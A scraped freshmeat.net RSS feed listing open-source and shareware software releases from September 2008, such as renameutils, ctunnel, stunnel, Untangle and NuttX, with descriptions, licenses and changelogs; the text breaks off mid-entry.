GMThttp://freshmeat.net/releases/285216/renameutils 0.10.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/b7uyMppHvsU/The file renaming utilities (renameutils for short) are a set of programs designed to make renaming of files faster and less cumbersome. qmv ("quick move") allows file names to be edited in a text editor. The names of all files in a directory are written to a text file, which is then edited by the user. The text file is read and parsed, and the changes are applied to the files. qcp copies files instead of renaming them. imv ("interactive move"), is trivial but useful when you are too lazy to type (or even complete) the name of the file to rename twice. It allows a file name to be edited in the terminal using the GNU Readline library. Similarly, icp copies files instead of renaming them. <p><a href="http://feedads.googleadservices.com/~a/9WCavIssq84thQMt8IDNDrx5mOA/a"><img src="http://feedads.googleadservices.com/~a/9WCavIssq84thQMt8IDNDrx5mOA/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/b7uyMppHvsU" height="1" width="1"/>http://freshmeat.net/releases/285215/Sun, 21 Sep 2008 13:13:17 GMThttp://freshmeat.net/releases/285215/CommandCenter 1.0.10 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/3db-IciiBrM/<img src="http://c.fsdn.com/fm/screenshots/69730_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> CommandCenter is a tool for managing shell-based scripts with the capability to remotely run them on any UNIX-like host over SSH. The output of script runs can be viewed, appended to files, or saved. <hr /> <strong>License:</strong> Shareware <hr /> <strong>Changes:</strong><br /> Both Intel and PPC are supported with a Universal binary. The dependency on plink was removed and native ssh is used instead. The dependency on pscp was removed and native scp is used instead. Loading and saving does not enforce file extension filtering anymore. <p><a href="http://feedads.googleadservices.com/~a/TdsLwADcQc-MI0r2DMNXUB2yeSo/a"><img src="http://feedads.googleadservices.com/~a/TdsLwADcQc-MI0r2DMNXUB2yeSo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/3db-IciiBrM" height="1" width="1"/>http://freshmeat.net/releases/285213/Sun, 21 Sep 2008 13:11:46 GMThttp://freshmeat.net/releases/285213/CLIChart 0.5.5rc1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/wM6Jvsfwjbw/<img src="http://c.fsdn.com/fm/screenshots/64189_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> CLIChart is intended for quick summarization and visualization of data, especially from system logs. It provides tools to extract and manipulate tabular summary data from text files, and to generate and view simple charts from tabular data on the command line. Charts can be displayed in a window and/or saved. <hr /> <strong>License:</strong> GNU Lesser General Public License (LGPL) <hr /> <strong>Changes:</strong><br /> This version adds the ability to override any or all of the colors used in data series. Note that, as of this version, the clichart tool requires at least Java 1.5. <p><a href="http://feedads.googleadservices.com/~a/WkIn7HTe6U1k8VXCTMAlhycCDUc/a"><img src="http://feedads.googleadservices.com/~a/WkIn7HTe6U1k8VXCTMAlhycCDUc/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/wM6Jvsfwjbw" height="1" width="1"/>http://freshmeat.net/releases/285211/Sun, 21 Sep 2008 08:11:02 GMThttp://freshmeat.net/releases/285211/ctunnel 0.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/r-f4diEEFv0/ctunnel is a program for proxying and forwarding TCP connections via a cryptographic tunnel. ctunnel can be used to secure any existing TCP based protocol, such as HTTP, Telnet, FTP, RSH, MySQL, etc. You can even tunnel SSH. You can also chain or bounce connections to any number of intermediary hosts. <p><a href="http://feedads.googleadservices.com/~a/N1G-TSlvKaqZItcOzRYtFIocD_Y/a"><img src="http://feedads.googleadservices.com/~a/N1G-TSlvKaqZItcOzRYtFIocD_Y/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/r-f4diEEFv0" height="1" width="1"/>http://freshmeat.net/releases/285210/Sun, 21 Sep 2008 08:10:24 GMThttp://freshmeat.net/releases/285210/msort 8.48 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/SjVIoofWYBU/<img src="http://c.fsdn.com/fm/screenshots/51765_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> Msort sorts files in sophisticated ways. Records may be fixed size, newline-separated blocks, or terminated by any specified character. Key fields may be selected by position, tag, or character range. For each key, distinct exclusions, multigraphs, substitutions, and a sort order may be defined or locale collation rules used. Comparisons may be lexicographic, numeric, numeric string, hybrid, random, by string length, angle, domain name, date, time, month name, or ISO8601 timestamp. Keys may be reversed so as to generate reverse dictionaries. Optional keys are supported. Unicode is supported, including full case-folding. Msort itself has a somewhat complex command line interface, but may be driven by an optional GUI. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> This release updates case-folding to Unicode 5.1 and fixes several bugs in the handling of time and date keys. It adds the option of sorting only on the first character for those who wish to emulate pre-modern alphabetization. A test suite may now be executed at build time. A number of sort order definitions are now provided. All non-standard configure options are now explained in the README file. <p><a href="http://feedads.googleadservices.com/~a/CconVPyY0MluSkm-3shkilqekm8/a"><img src="http://feedads.googleadservices.com/~a/CconVPyY0MluSkm-3shkilqekm8/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/SjVIoofWYBU" height="1" width="1"/>http://freshmeat.net/releases/285209/Sun, 21 Sep 2008 08:10:08 GMThttp://freshmeat.net/releases/285209/Vamos Automotive Simulator 0.6.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/N1a8urAjTq4/<img src="http://c.fsdn.com/fm/screenshots/19610_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Vamos is an automotive simulation framework with an emphasis on thorough physical modeling and good C++ design. A real-time, first-person, 3D driving application is included. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> Computer controlled cars were added. The control algorithm operates the steering, throttle, brakes, and transmission to make the car follow a calculated racing line. The car definitions provide some performance parameters for the control algorithm. <p><a href="http://feedads.googleadservices.com/~a/bnlRo_0lvu6sYHRPlJpzB38w8IQ/a"><img src="http://feedads.googleadservices.com/~a/bnlRo_0lvu6sYHRPlJpzB38w8IQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/N1a8urAjTq4" height="1" width="1"/>http://freshmeat.net/releases/285208/Sun, 21 Sep 2008 08:09:47 GMThttp://freshmeat.net/releases/285208/FreeRapid 0.61 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/B5eWrToxtO0/<img src="http://c.fsdn.com/fm/screenshots/70252_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> FreeRapid is a simple Java downloader for Rapidshare and other file share archives. It has support for concurrent dwnloading from multiple services, and is able to use a proxy list. Code also contains a simple API for adding other services like plugins. <hr /> <strong>License:</strong> GNU General Public License v2 <hr /> <strong>Changes:</strong><br /> This release adds support for other servers: Megaupload.com, Netload.in, and DepositFiles.com. Clipboard monitoring was implemented, which speeds up working with FreeRapid. This version also fixes many bugs for previous versions. UI improvements were made. <p><a href="http://feedads.googleadservices.com/~a/Xp2WnraKPZcHG52CEov6qaKSIx0/a"><img src="http://feedads.googleadservices.com/~a/Xp2WnraKPZcHG52CEov6qaKSIx0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/B5eWrToxtO0" height="1" width="1"/>http://freshmeat.net/releases/285204/Sun, 21 Sep 2008 08:07:29 GMThttp://freshmeat.net/releases/285204/iDiet 1.0.4 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/lKe6JtK_Irk/<img src="http://c.fsdn.com/fm/screenshots/68183_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> iDiet is a diet management tool that helps people choose, customize, and follow their diet. Several diets are supported (e.g. Atkins, Summer Fresh, The Zone, Weight Watchers, Body for Life), with details for every one of them. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> A bug in which portion sizes were not loaded was fixed, so reasonable portions are now available on all items. For Mac OS X users, the menu bar is now on the top. The food database was updated to the sr21 release (September 2008). <p><a href="http://feedads.googleadservices.com/~a/TP5mEGogJzbupmpgP4xM0CStWRI/a"><img src="http://feedads.googleadservices.com/~a/TP5mEGogJzbupmpgP4xM0CStWRI/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/lKe6JtK_Irk" height="1" width="1"/>http://freshmeat.net/releases/285202/Sun, 21 Sep 2008 08:07:01 GMThttp://freshmeat.net/releases/285202/Linux Bluetooth Remote Control 0.6.3 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/_1brbgV9pkU/<img src="http://c.fsdn.com/fm/screenshots/63427_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Linux Bluetooth Remote Control (LBRC) is a remote control program that allows a Linux computer to be controlled by a J2ME device via Bluetooth. It is divided into a server part that runs on the computer and reacts to input events and a client part that runs on the J2ME device. The J2ME client sends the device's keycodes, which are translated to keystrokes, mouse movements, mouse clicks, or other input events on the controlled computer. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> Errors were fixed in DBUSCaller and CommandExecutor. Some code cleanups were done. A module was added to provide a way to inject key/mouse events into an X11 session (without involving the kernel). The J2ME client was built smaller. A list of already known devices is presented without scanning. The device search was made more robust. <p><a href="http://feedads.googleadservices.com/~a/L1vneVBd9kgXatise2oYrGNROTc/a"><img src="http://feedads.googleadservices.com/~a/L1vneVBd9kgXatise2oYrGNROTc/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/_1brbgV9pkU" height="1" width="1"/>http://freshmeat.net/releases/285198/Sun, 21 Sep 2008 08:02:41 GMThttp://freshmeat.net/releases/285198/CSpec 0.2.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/pFag1mV91yU/CSpec is a behavior-driven development framework for C. It provides a spec framework for describing the behavior of the functions of your system. The syntax is inspired from RSpec to be as legible as possible. The source code is as portable and as light as possible to make it easy to run the library on embedded devices. <hr /> <strong>License:</strong> GNU Lesser General Public License (LGPL) <hr /> <strong>Changes:</strong><br /> This release adds sample_skip, which is a full-fledged example for CSpec. The public API is frozen, and future releases will not break it. Compilation and linking on Mac OS X, Linux, and VC++ have been reported to work correctly. This is the first working release. Future work will concentrate on the scenario/story framework. <p><a href="http://feedads.googleadservices.com/~a/s2n2VRLE8VBw6LS5uKTGYLd1U24/a"><img src="http://feedads.googleadservices.com/~a/s2n2VRLE8VBw6LS5uKTGYLd1U24/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/pFag1mV91yU" height="1" width="1"/>http://freshmeat.net/releases/285172/Sun, 21 Sep 2008 08:02:02 GMThttp://freshmeat.net/releases/285172/cP Creator 2.7.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/kl9XaI4YjhE/cP Creator is a script which provides an all-in-one management system for the budgeting free or paid Internet hosting services. Some of its features include Post 2 Host signup, monthly checking, support for all leading bulletin boards (phpBB, myBB, SMF, vB, IPB), flexible package options, custom descriptions, monthly or annual billing options via PayPal, and invoices or subscriptions. Its fully featured client area allows clients to upgrade or downgrade their service or delete their account. The support system includes tickets and knowledge base. <hr /> <strong>License:</strong> Free To Use But Restricted <hr /> <strong>Changes:</strong><br /> The TOS are shown if multiple accounts are disabled. If multiple accounts are disabled, then signups work. A bug was fixed on the order form which allows the user to use a client account even if it is disabled. The option to upgrade or downgrade was added to the interface for managing users again. The ability to delete a client account was added to the interface for managing users. <p><a href="http://feedads.googleadservices.com/~a/2_8bf-eM63R0P9PEv3uYtWGikz4/a"><img src="http://feedads.googleadservices.com/~a/2_8bf-eM63R0P9PEv3uYtWGikz4/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/kl9XaI4YjhE" height="1" width="1"/>http://freshmeat.net/releases/285168/Sun, 21 Sep 2008 07:58:20 GMThttp://freshmeat.net/releases/285168/Bordeaux 1.6 beta 1 (BSD branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/kC7nQX3MZ9w/<img src="http://c.fsdn.com/fm/screenshots/67507_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Bordeaux is a Wine GUI configuration manager that runs winelib applications. It aims to support installation of third party utilities, installation of applications and games, and the ability to use custom configurations. <hr /> <strong>License:</strong> Other/Proprietary License <hr /> <strong>Changes:</strong><br /> A cellar-manager, an .sh installer, and a .pbi build for PC-BSD were added. ActiveX, Flash, and Java are supported in IE6. <p><a href="http://feedads.googleadservices.com/~a/FH1oen_Jf1mvx6D-ZUa2lZMVFQE/a"><img src="http://feedads.googleadservices.com/~a/FH1oen_Jf1mvx6D-ZUa2lZMVFQE/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/kC7nQX3MZ9w" height="1" width="1"/>http://freshmeat.net/releases/285155/Sun, 21 Sep 2008 07:55:37 GMThttp://freshmeat.net/releases/285155/phpMyPhotoGallery 2.1.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/BBfimv9r0jo/<img src="http://c.fsdn.com/fm/screenshots/51891_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> phpMyPhotoGallery is a Web-based photo album with a "Windows Explorer" look-n-feel. It is designed to make it easy for people with organized directories of photos to upload them in one go. Thumbnails are generated on the fly. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release adds the files "images.cache.php" (used to manually cache image names and relative folders) and "images.random.php" to allow pulling of a random image (requires the cache be updated). <p><a href="http://feedads.googleadservices.com/~a/soj3QAXdHSIS3w-ByFRNTeuld0k/a"><img src="http://feedads.googleadservices.com/~a/soj3QAXdHSIS3w-ByFRNTeuld0k/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/BBfimv9r0jo" height="1" width="1"/>http://freshmeat.net/releases/285207/Sun, 21 Sep 2008 05:34:02 GMThttp://freshmeat.net/releases/285207/Statfink 2.0.8 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/FdV2MT53AxU/<img src="http://c.fsdn.com/fm/screenshots/56251_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Statfink is a Fantasy (American) Football statistics tracker and live scoring program that is best suited for working with leagues hosted at Yahoo!. It is meant to be run by one member of the league so that the rest of the members can view the output. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release fixes a few stats not being recorded properly. It also adds tracker status information to the front page. <p><a href="http://feedads.googleadservices.com/~a/mNETtzrZfTkA6tcR4aLtnasIMUQ/a"><img src="http://feedads.googleadservices.com/~a/mNETtzrZfTkA6tcR4aLtnasIMUQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/FdV2MT53AxU" height="1" width="1"/>http://freshmeat.net/releases/285206/Sun, 21 Sep 2008 05:32:45 GMThttp://freshmeat.net/releases/285206/Locked Area 6.3 (Lite branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/rlKM3dGY8BI/<img src="http://c.fsdn.com/fm/screenshots/31760_thumb.gif" align="right" alt="Screenshot" hspace="10" vspace="10"> Locked Area is a highly sophisticated password protection and membership management system. It has been designed to be as secure as possible while it still runs hands-free with no input from the Webmaster needed. Locked Area uses Apache's .htaccess and .htpasswd along with DES randomized salt or MD5 encryption of passwords for increased security. It also includes a member database that lets the administrator maintain a mailing list along with the member's area. <hr /> <strong>License:</strong> Freeware <hr /> <strong>Changes:</strong><br /> This release resolves further issues with the MySQL database mode. It is considered more stable than the 6.0 stable release. <p><a href="http://feedads.googleadservices.com/~a/s4zcwAWTT4U0T4781Y3ItP4iVBU/a"><img src="http://feedads.googleadservices.com/~a/s4zcwAWTT4U0T4781Y3ItP4iVBU/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/rlKM3dGY8BI" height="1" width="1"/>http://freshmeat.net/releases/285205/Sun, 21 Sep 2008 05:32:14 GMThttp://freshmeat.net/releases/285205/Stunnel 4.26 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/RWrM2eDY9Gw/<img src="http://c.fsdn.com/fm/screenshots/10059_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> The stunnel program is designed to work as an SSL encryption wrapper between remote client and local (inetd-startable) or remote server. It can be used to add SSL functionality to commonly used inetd daemons like POP2, POP3, and IMAP servers without any changes in the programs' code. It will negotiate an SSL connection using the OpenSSL or SSLeay libraries. It calls the underlying crypto libraries, so stunnel supports whatever cryptographic algorithms you compiled into your crypto package. <hr /> <strong>License:</strong> GNU General Public License v2 <hr /> <strong>Changes:</strong><br /> Win32 DLLs have been updated to OpenSSL 0.9.8i. /etc/hosts.allow and /etc/hosts.deny no longer need to be copied to the chrooted directory, as the libwrap processes are no longer chrooted. A more informative error message is logged for invalid port number specified in the stunnel.conf file. Support for Microsoft Visual C++ 9.0 Express Edition was added. All libwrap processes are killed at stunnel shutdown. A minor bug in the stunnel.init sample SysV startup file was fixed. <p><a href="http://feedads.googleadservices.com/~a/4KYfbVn2CljxoX9hs7yPSPj57jk/a"><img src="http://feedads.googleadservices.com/~a/4KYfbVn2CljxoX9hs7yPSPj57jk/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/RWrM2eDY9Gw" height="1" width="1"/>http://freshmeat.net/releases/285203/Sun, 21 Sep 2008 05:28:46 GMThttp://freshmeat.net/releases/285203/TinyMUX 2.7.4.24 (Beta branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/sbaWu7b1ESw/TinyMUX is a text-based game server in the MUSH family. It is a platform that allows several thousand players to connect to a single text-driven environment, and interact with each other and with the environment (which is maintained in a database). The rich programming environment can be used to build almost anything, limited only by the developer's imagination. <hr /> <strong>License:</strong> Artistic License <hr /> <strong>Changes:</strong><br /> Fixes for remaining beta-flagged bugs. <p><a href="http://feedads.googleadservices.com/~a/cA9zIC9VrRPsznSVXcz4Usn_tx8/a"><img src="http://feedads.googleadservices.com/~a/cA9zIC9VrRPsznSVXcz4Usn_tx8/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/sbaWu7b1ESw" height="1" width="1"/>http://freshmeat.net/releases/285201/Sun, 21 Sep 2008 05:27:50 GMThttp://freshmeat.net/releases/285201/RPGD 2.5.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/ttjRMdGw0yU/<img src="http://c.fsdn.com/fm/screenshots/51683_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> RPGD is an addictive hack and slash style game. Multiple users play medieval characters and battle each other and monsters in arenas, gang fights, taverns, at sea, or in the deep, dank dungeons. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> A major bugfix in the USER master file; it is now 64-bit friendly. <p><a href="http://feedads.googleadservices.com/~a/Y_VMw-xNmFvjtFzdmjQmufDcXL0/a"><img src="http://feedads.googleadservices.com/~a/Y_VMw-xNmFvjtFzdmjQmufDcXL0/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/ttjRMdGw0yU" height="1" width="1"/>http://freshmeat.net/releases/285200/Sun, 21 Sep 2008 05:27:02 GMThttp://freshmeat.net/releases/285200/epris 0.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/1vF33G6zRrc/Epris is a D-Bus service and command line client to listen to music. Unlike xmms2 or mpd, it uses GStreamer and D-Bus. It is written in Vala. <hr /> <strong>License:</strong> GNU Lesser General Public License (LGPL) <hr /> <strong>Changes:</strong><br /> Epris is now fairly usable. <p><a href="http://feedads.googleadservices.com/~a/nXJcCWAZATJL6_lIniyP8LruWtQ/a"><img src="http://feedads.googleadservices.com/~a/nXJcCWAZATJL6_lIniyP8LruWtQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/1vF33G6zRrc" height="1" width="1"/>http://freshmeat.net/releases/285199/Sun, 21 Sep 2008 05:23:18 GMThttp://freshmeat.net/releases/285199/movie_collage 1.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/XHTHTGFU30o/<img src="http://c.fsdn.com/fm/screenshots/70352_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> movie_collage will download movie posters from IMDb and create collage pictures of them. This way, you can choose movies by cover. <p><a href="http://feedads.googleadservices.com/~a/WI8O5Crydi2NMKGsuS22ylB7yeQ/a"><img src="http://feedads.googleadservices.com/~a/WI8O5Crydi2NMKGsuS22ylB7yeQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/XHTHTGFU30o" height="1" width="1"/>http://freshmeat.net/releases/285186/Sun, 21 Sep 2008 05:23:00 GMThttp://freshmeat.net/releases/285186/party_playlist 1.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/At8bIdJCPp4/party_playlist creates music playlists suitable for parties by downloading the "top artist" information of your friends from last.fm. It interfaces with last.fm and the Rhythmbox media player. <p><a href="http://feedads.googleadservices.com/~a/eY368KRwUDqnldItilz_38Eztxc/a"><img src="http://feedads.googleadservices.com/~a/eY368KRwUDqnldItilz_38Eztxc/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/At8bIdJCPp4" height="1" width="1"/>http://freshmeat.net/releases/285185/Sun, 21 Sep 2008 05:22:51 GMThttp://freshmeat.net/releases/285185/Untangle 5.4.1 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/JKWA88BsJ4Q/<img src="http://c.fsdn.com/fm/screenshots/65031_thumb.jpg" align="right" alt="Screenshot" hspace="10" vspace="10"> Untangle is a Linux-based network gateway with pluggable modules for network applications like spam blocking, Web filtering, anti-virus, anti-spyware, intrusion prevention, VPN, SSL VPN, firewall, and more. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release fixes DHCP bugs, a database locking issue, and several other small bugs. <p><a href="http://feedads.googleadservices.com/~a/a8w_PphP-_qPYaQtHkpRmST2zB8/a"><img src="http://feedads.googleadservices.com/~a/a8w_PphP-_qPYaQtHkpRmST2zB8/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/JKWA88BsJ4Q" height="1" width="1"/>http://freshmeat.net/releases/285197/Sun, 21 Sep 2008 04:56:08 GMThttp://freshmeat.net/releases/285197/NuttX 0.3.15 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/iK-5b8X8JYg/Nuttx is a real-time embedded operating system (RTOS). It has a small footprint that is usable in micro-controller environments. It is fully scalable from tiny (8-bit) to moderate embedded (32-bit) systems. It also aims to be fully compliant to standards, to be fully real time, and to be totally open. <hr /> <strong>License:</strong> BSD License (revised) <hr /> <strong>Changes:</strong><br /> This release includes two important new features: support for the ROMFS file system with eXecute In Place (XIP) capability, and board support for the NXP LPC2148 processor. <p><a href="http://feedads.googleadservices.com/~a/9Q9zf4EjBeQgupjvOgj3QdNwKGA/a"><img src="http://feedads.googleadservices.com/~a/9Q9zf4EjBeQgupjvOgj3QdNwKGA/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/iK-5b8X8JYg" height="1" width="1"/>http://freshmeat.net/releases/285196/Sun, 21 Sep 2008 04:55:31 GMThttp://freshmeat.net/releases/285196/LOVE 0.5-0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/fOnJTr6JjtA/<img src="http://c.fsdn.com/fm/screenshots/67738_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> LOVE is a 2D game engine that enables easy cross-platform game development in the Lua programming language. <hr /> <strong>License:</strong> zlib/libpng License <hr /> <strong>Changes:</strong><br /> This release adds support for networking via LuaSocket and support for joystick input. The filesystem module has been improved with easier read/write functions and a line iterator function. <p><a href="http://feedads.googleadservices.com/~a/08wF1mToSWOfRCtH-anaa6jo9AY/a"><img src="http://feedads.googleadservices.com/~a/08wF1mToSWOfRCtH-anaa6jo9AY/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/fOnJTr6JjtA" height="1" width="1"/>http://freshmeat.net/releases/285195/Sun, 21 Sep 2008 04:55:00 GMThttp://freshmeat.net/releases/285195/odbcpp 1.3 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/sImfa5NJxqE/odbcpp is an ODBC C++ library wrapper. The ODBC library itself is a low level C library that has many functions, all of which could return errors. This wrapper checks for errors on every single call to the ODBC interface, so if an SQL statement, a connection, or anything else fails, an exception is generated. <hr /> <strong>License:</strong> GNU General Public License v3 <hr /> <strong>Changes:</strong><br /> The configuration scripts have been fixed to enable cross-platform compiling (especially with mingw32). <p><a href="http://feedads.googleadservices.com/~a/22UU2v3g3K-vxqFlaPI8Z7sU-vQ/a"><img src="http://feedads.googleadservices.com/~a/22UU2v3g3K-vxqFlaPI8Z7sU-vQ/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/sImfa5NJxqE" height="1" width="1"/>http://freshmeat.net/releases/285194/Sun, 21 Sep 2008 04:54:14 GMThttp://freshmeat.net/releases/285194/Armangil's podcatcher 3.1.4 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/_KQcAlprja0/<img src="http://c.fsdn.com/fm/screenshots/50764_thumb.png" align="right" alt="Screenshot" hspace="10" vspace="10"> Armangil's podcatcher is a podcast client for the command line. It provides several download strategies (new shows only, back-catalog allowed, etc), offers cache management, supports BitTorrent, and generates playlists for media player applications. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> The generated playlists are now more informative (publication date information has been added to content titles). Some faulty feeds and subscription lists are now handled more gracefully (invalid URLs in such documents are now simply ignored instead of causing the whole document to be skipped). <p><a href="http://feedads.googleadservices.com/~a/7S-3gTjwxRWkN4WHujHayYsIrCo/a"><img src="http://feedads.googleadservices.com/~a/7S-3gTjwxRWkN4WHujHayYsIrCo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/_KQcAlprja0" height="1" width="1"/>http://freshmeat.net/releases/285193/Sun, 21 Sep 2008 04:53:54 GMThttp://freshmeat.net/releases/285193/Rapid Application Development Library 2.8.0 (Default branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/oEqLoAgvzgQ/radlib is a C language library developed to abstract details of interprocess communications and common Linux/Unix system facilities so that application developers can concentrate on application solutions. It encourages developers to use a proven paradigm of event-driven, asynchronous design. By abstracting interprocess messaging, events, timers, and any I/O device that can be represented as a file descriptor, radlib simplifies the implementation of multi-purpose processes, as well as multi-process applications. In short, radlib is a sincere attempt to provide real-time OS capability on a non-real-time OS. <hr /> <strong>License:</strong> BSD License (revised) <hr /> <strong>Changes:</strong><br /> This release adds SQLite3 support. The interface is very similar to the MySQL/PostgreSQL interface. It is enabled at configuration via the "--enable-sqlite" option. It may be built along with MySQL or PostgreSQL (it is not mutually exclusive). <p><a href="http://feedads.googleadservices.com/~a/OLCYCDfGqfcuadFny8CZT9wvWTs/a"><img src="http://feedads.googleadservices.com/~a/OLCYCDfGqfcuadFny8CZT9wvWTs/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/oEqLoAgvzgQ" height="1" width="1"/>http://freshmeat.net/releases/285192/Sun, 21 Sep 2008 04:53:32 GMThttp://freshmeat.net/releases/285192/Recovery Is Possible! 6.7 (Stable branch)http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~3/9g4EB3J-2uY/Recovery Is Possible (RIP) is a CD or USB boot/rescue/backup/maintenance system. It has support for many filesystem types (Reiserfs, Reiser4, Ext2/3/4, HFS+, ISO-9660, UDF, XFS, JFS, UFS2, CIFS, MS DOS, NTFS, and VFAT) and contains several utilities for system recovery. It also has IDE/SCSI/SATA, RAID, LVM2, and Ethernet/DSL/cable network support. <hr /> <strong>License:</strong> GNU General Public License (GPL) <hr /> <strong>Changes:</strong><br /> This release updates the kernel to 2.6.26.5, zfs-fuse to 0.5.0, ntfs-3g to 1.2918, and fluxbox to 1.1.1. <p><a href="http://feedads.googleadservices.com/~a/MER2Qd25san6Lo7gbYKWE11fT8A/a"><img src="http://feedads.googleadservices.com/~a/MER2Qd25san6Lo7gbYKWE11fT8A/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/freshmeat/feeds/fm-releases-global/~4/9g4EB3J-2uY" height="1" width="1"/>http://freshmeat.net/releases/285191/Sun, 21 